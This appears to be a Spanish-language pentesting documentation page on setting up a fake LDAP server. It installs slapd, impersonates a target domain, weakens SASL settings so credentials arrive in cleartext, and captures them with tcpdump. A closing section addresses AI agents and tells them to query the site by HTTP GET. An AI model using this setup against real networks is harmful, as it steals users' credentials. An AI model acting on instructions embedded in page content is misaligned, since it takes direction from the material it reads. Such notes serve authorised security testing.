# Rogue servers

## Fake LDAP

{% code overflow="wrap" %}

```bash
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
```

{% endcode %}

```bash
sudo dpkg-reconfigure -p low slapd
```

Configurar el nombre de dominio que se desee "suplantar".

Crear el fichero que luego se usará para cargar la configuración en el servicio LDAP:

```bash
vim olcSaslSecProps.ldif 
```

Establecer una configuración insegura para la captura de credenciales usando la siguiente config:

```
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
```

Cargar la configuración en el servicio y reiniciarlo para que haga efecto:

```bash
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif
sudo systemctl restart slapd
```

Comprobar configuración:

```bash
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
```

Capturar paquetes con tcpdump:

```
sudo tcpdump -SX -i breachad tcp port 389
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/rogue-servers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
